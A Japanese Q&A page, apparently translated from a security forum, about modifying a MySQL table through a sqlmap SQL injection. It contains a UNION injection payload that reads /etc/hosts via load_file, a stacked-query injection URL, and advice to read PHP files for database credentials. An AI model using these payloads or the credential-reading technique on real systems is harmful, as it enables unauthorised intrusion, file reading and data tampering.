web-dev-qa-db-ja.com

どうすればsqlmapを介してテーブルを更新できますか?

Sqlmapを介してテーブルを更新するにはどうすればよいですか?注射は次のようです:

mysite.com/?menu=-8' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
load_file('/etc/hosts'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

私はこの特権とロールを持つmysqlユーザーを持っています:

[*] 'testUser'@'localhost' [17]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: SHOW VIEW
    privilege: TRIGGER
    privilege: UPDATE

[*] 'testUser'@'localhost' [17]:
        role: ALTER
        role: ALTER ROUTINE
        role: CREATE
        role: CREATE ROUTINE
        role: CREATE TEMPORARY TABLES
        role: CREATE VIEW
        role: DELETE
        role: DROP
        role: EVENT
        role: EXECUTE
        role: FILE
        role: INDEX
        role: INSERT
        role: SELECT
        role: SHOW VIEW
        role: TRIGGER
        role: UPDATE

しかし、それは結果として何も返さないだけです!

UPDATE SMS SET Message='This is for Test' WHERE ClientID='42';: None

Selectステートメントはうまく機能しますが、sqlmapを介して更新する機会はあるのでしょうか。

3
Freeman

これは不可能です。その理由は、PHPのMySQLモジュールは完全なクエリを追加することを許可しないためです。これは機能しません

http://victim.com/index.php?id=1'; UPDATE anytable SET anyattribute='anyvalue' --

また、UNIONを使用してUPDATE、DELETE、またはINSERTクエリを追加することもできません。これは、SELECTステートメントを結合することしかできないためです。

元のクエリがUPDATEクエリである場合にのみ、SQLインジェクションを介してMySQLデータベースを更新できます。また、これは、データを抽出するSELECTステートメントのSQLインジェクションよりもはるかに制限されています。

しかし、データを変更できる別の方法があります。インジェクションでは、load_file関数を使用します。この関数が機能する場合は、この関数を使用して、データベースの資格情報を含む.phpメソッドを検索するmysql_connectファイルの内容を読み取ることができます。次に、これらの資格情報を使用して、いくつかの条件下でデータベースに接続し、データベースに直接クエリを実行できます。

そして最後に:目隠しをし、片手で背中に縛ってSQLインジェクションを活用できるようになるまでは、sqlmapのようなツールを使用しないことを強くお勧めします。sqlmapを使用するだけではあまり学習できないためです。

2
davidb